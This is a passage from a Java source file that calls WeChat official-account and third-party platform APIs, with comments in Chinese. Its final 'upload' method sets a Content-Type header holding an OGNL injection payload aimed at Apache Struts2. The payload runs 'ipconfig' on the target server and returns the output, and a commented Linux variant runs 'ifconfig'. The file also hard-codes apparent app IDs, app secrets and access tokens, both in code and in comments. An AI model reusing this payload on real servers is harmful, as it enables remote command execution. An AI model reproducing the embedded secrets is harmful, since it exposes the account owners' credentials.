			int code=response.getStatusLine().getStatusCode();
			if(code==HttpStatus.SC_OK)
			{
				System.out.println("OK");
				HttpEntity resEntity=response.getEntity();
				JSONObject data=JSONObject.fromObject(EntityUtils.toString(resEntity, "UTF-8"));
				System.out.println(data);
					//JSONObject data1=JSONObject.fromObject(data.toString());
					//JSONObject json1=data1.getJSONArray("list");
//					String msgid=data1.getJSONArray("list").getJSONObject(0).getString("msgid");
//					String ori_page_read_user=json1.get("ori_page_read_user").toString();
//					String ori_page_read_count=json1.get("ori_page_read_count").toString();
//					String share_user=json1.get("share_user").toString();
//					String share_count=json1.get("share_count").toString();
//					String add_to_fav_user=json1.get("add_to_fav_user").toString();
//					String add_to_fav_count=json1.get("add_to_fav_count").toString();
//					String int_page_from_session_read_user=json1.get("int_page_from_session_read_user").toString();
//					String int_page_from_session_read_count=json1.get("int_page_from_session_read_count").toString();
				//JSONArray jsonArray=data.getJSONArray("list").getJSONObject(0).getJSONArray("details");
				//String msg=jsonArray.getJSONObject(0).getString("stat_date");
				EntityUtils.consume(resEntity);
			}
		}
	public static void getMenuSet()throws Exception
	{

	}

	//021ungpJ1s07Ya01IWpJ1kXipJ1ungpO        -----------------code
	//ovl8VwjG727JQGBXyZRqgONTZk        -----------------openid
	//通过code获取accesstoken（和基础支持的accesstoken不一样）和openId
	public static String[]  getOpenId()throws Exception
	{
		String code1="0011Xg8k0e4T5i1waE8k0yMb8k01Xg8D";
		HttpClient client=HttpClients.createDefault();
		HttpPost post=new HttpPost("https://api.weixin.qq.com/sns/oauth2/access_token");
		List<NameValuePair> params = new ArrayList<NameValuePair>();
		params.add(new BasicNameValuePair("appid", "wxac3c736465c8ea8e"));
		params.add(new BasicNameValuePair("secret", "cca9f8828023839cd2c4712845f8ad36"));
		params.add(new BasicNameValuePair("code",  "001VHdZa0mZhqJ1jAIYa0wjbZa0VHdZ4"));
		params.add(new BasicNameValuePair("grant_type", "authorization_code"));
		post.setEntity(new UrlEncodedFormEntity(params, "UTF-8"));
		HttpResponse response=client.execute(post);
		int code=response.getStatusLine().getStatusCode();
		//默认的回复消息
		String[] result =new String[3];
		result[0]="0";
		result[1]=code+"";
		result[2]="7";//模块代码
		if(code==HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity=response.getEntity();
			JSONObject data=JSONObject.fromObject(EntityUtils.toString(resEntity, "UTF-8"));

			System.out.println(data);
			EntityUtils.consume(resEntity);
		}
		return result;
	}
	//公众号token
	//IrSJ86c11H6RRCazcPKAL9McykPbOI06afEbupTGSmymhxaAc-rMoLWinKtO4-5RhGJQDDHcvfCOv3z8DGyVMJPUL4y0EQG3Yqt1eDF6R0DCDkhRMPspt92IVB6NHQFEEUVcAFASIJ
	final static String token = "ujxF-7qLoNw0vzmu5x_OgORTmFavA6GYYo35fPIupD7P3KMS0bNdCYJL7K9aVmrlGfiYZBmZnuZROo8Jq57kKh41CBM72U0naP_Yavv17OSmFhWzCbdNkjRclA80DVYMGBVjAHAKFZ";
	//第三方平台token
	final static String component_access_token = "Hcc225zCO1BA39ypDuKgODUWrF6KQ4_Rv84wDIqmenQ3osKaAIH23d5wZlO1I4TMyBvWGjWO0QHZ40V7Tbt1_FrNBC6leOd2VKYn27Ugehsn31JPWN1zx89AJsG8BjnGVSXfAGAEBG";

	//第三方平台获取component_access_token
	public static String[] getComponent_access_token()throws Exception
	{
		HttpClient client=HttpClients.createDefault();
		HttpPost post=new HttpPost("https://api.weixin.qq.com/cgi-bin/component/api_component_token");

		HashMap<String, String> map=new HashMap<String, String>();
		map.put("component_verify_ticket", "ticket@@@DbRE3rHHnlu84wsHHykocvhFIAgzySebXUWRwYEkN3Y9P7TOQidMsTwwImKb-BpzcboYRhfCguAQ8qVQzf-Xpg");
		map.put("component_appsecret", "48ecd0968e77d68ed579c2f4908cd17a");
		map.put("component_appid", "wxd9e4ef35032455a0");
		String jsonData=JSONObject.fromObject(map).toString();
		HttpEntity httpEntity =new StringEntity(jsonData,"utf-8");
		post.setEntity(httpEntity);

		HttpResponse response=client.execute(post);
		int code=response.getStatusLine().getStatusCode();
		//默认的回复消息
		String[] result =new String[3];
		result[0]="0";
		result[1]=code+"";
		if(code==HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity=response.getEntity();
			JSONObject data=JSONObject.fromObject(EntityUtils.toString(resEntity, "UTF-8"));

			System.out.println(data);
			EntityUtils.consume(resEntity);
		}
		return result;
	}


	//第三方平台获取预授权码
	public static String[]  get_pre_auth_code() throws Exception
	{
		HttpClient client=HttpClients.createDefault();
		HttpPost post=new HttpPost("https://api.weixin.qq.com/cgi-bin/component/api_create_preauthcode?component_access_token="+component_access_token);

		HashMap<String, String> map=new HashMap<String, String>();
		map.put("component_appid", "wxd9e4ef35032455a0");
		String jsonData=JSONObject.fromObject(map).toString();
		HttpEntity httpEntity =new StringEntity(jsonData,"utf-8");
		post.setEntity(httpEntity);


		HttpResponse response=client.execute(post);
		int code=response.getStatusLine().getStatusCode();
		//默认的回复消息
		String[] result =new String[3];
		result[0]="0";
		result[1]=code+"";
		if(code==HttpStatus.SC_OK)
		{
			System.out.println("OK");
			HttpEntity resEntity=response.getEntity();
			JSONObject data=JSONObject.fromObject(EntityUtils.toString(resEntity, "UTF-8"));

			System.out.println(data);
			EntityUtils.consume(resEntity);
		}
		return result;
	}


	public static String[] getAllOpenId(String next,String[] openid)throws Exception
	{
		String token="ckc1ecA2aeYhnXePZjMOIhcwMN0jA24ucXJLwCoWDdymXPTHDLxrr1mQeIMs7s44kWonrlq2iC357g5wEjMHtk-x8vZb_md37HODspckI2R2tqCvN3j1aRuYvkpPDmF4JGDhAHAZWT";
		HttpClient httpClient=HttpClients.createDefault();
        HttpGet httpGet = new HttpGet("https://api.weixin.qq.com/cgi-bin/user/get?access_token="+token+"&next_openid="+next);
        HttpResponse response;
		try
		{
			response = httpClient.execute(httpGet);
			HttpEntity resEntity=response.getEntity();
	        JSONObject data=JSONObject.fromObject(EntityUtils.toString(resEntity, "UTF-8"));
	        //System.out.println(data);
	        String nextOpenId=data.getString("next_openid").toString();
	        int count = data.getInt("count");
	        if(count>0)
	        {
        		String ope =  data.get("data").toString();
        		String[] openid1 = ope.replace("[", "").replace("]", "").split(",");
        		if(openid!=null)
        		{
        			openid=(String[]) ArrayUtils.addAll(openid, openid1);
        			openid=getAllOpenId(nextOpenId,openid);
        		}
        		else
        		{
        			openid=openid1;
        			openid=getAllOpenId(nextOpenId,openid);
        		}
	        }
		}
		catch (ClientProtocolException e)
		{
			e.printStackTrace();
		}
		catch (IOException e)
		{
			e.printStackTrace();
		}
        return openid;
	}

	//wx3ae388f798e96d55
	//6d6dccf0eb1dcb47b1873ba8341adad7
	//该公众号ID
	//涛涛说木
	//wx84af0bdb2bd5f1c3
	//10e408b16b13cbb2e1d61bdc62ac2f42
	//张家港尚木网
	//wxac3c736465c8ea8e
	//cca9f8828023839cd2c4712845f8ad36
	//第三方平台
	//wxd9e4ef35032455a0
	//48ecd0968e77d68ed579c2f4908cd17a

	//我的测试账号
	//wx4db4a0ea90b489cc
	//3c3c5f5e0b0db0a79eb9c54179a59121

	public static String upload(String url,String filePath){
	       String fdfsPath = "";
	       try {
	           HttpClient httpclient = HttpClients.createDefault();
	           HttpPost httppost = new HttpPost(url);
	           File file = new File(filePath);
	           String name = file.getName();
	           InputStream in = new FileInputStream(file);
	           MultipartEntity reqEntity = new MultipartEntity();
	           InputStreamBody inputStreamBody = new InputStreamBody(in,name);
	           StringBody fileNam = new StringBody(name);
	           StringBody dateFlag = new StringBody("20160122152301");
	           StringBody datumType = new StringBody("0");
	           StringBody uploadWay = new StringBody("0");
	           StringBody userId = new StringBody("0538");
	           StringBody tenderId = new StringBody("2315");
	           StringBody metrialsType = new StringBody("25");
	           StringBody ip = new StringBody("0.0.0.1");
	           StringBody driverName = new StringBody("huawei");
	           StringBody systemVersion = new StringBody("djf");
	           StringBody position = new StringBody("信息路38",  Charset.forName("utf8"));
	           reqEntity.addPart("datums", inputStreamBody);
	           reqEntity.addPart("fileName", fileNam);
	           reqEntity.addPart("dateFlag", dateFlag);
	           reqEntity.addPart("datumType", datumType);
	           reqEntity.addPart("uploadWay", uploadWay);
	           reqEntity.addPart("userId", userId);
	           reqEntity.addPart("tenderId", tenderId);
	           reqEntity.addPart("metrialsType", metrialsType);
	           reqEntity.addPart("ip", ip);
	           reqEntity.addPart("driverName", driverName);
	           reqEntity.addPart("systemVersion", systemVersion);
	           reqEntity.addPart("position", position);
	   //linux
	          // httppost.addHeader("Content-Type", "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}");
	            //windows
	   httppost.addHeader("Content-Type", "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}");
	           httppost.addHeader("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36");
	           HttpResponse response = httpclient.execute(httppost);
	           int statusCode = response.getStatusLine().getStatusCode();


	           if(statusCode == HttpStatus.SC_OK){


	               System.out.println("服务器正常响应.....");


	               HttpEntity resEntity = response.getEntity();
	               System.out.println(EntityUtils.toString(resEntity));//httpclient自带的工具类读取返回数据


	               System.out.println(resEntity.getContent());


	               EntityUtils.consume(resEntity);
	           }else{
//	             System.out.println(HttpStatus.getStatusText(statusCode));
	           }
	       } catch (Exception e) {
	           e.printStackTrace();
	       }
	       System.out.println("结束....");
	       return "";
	   }

}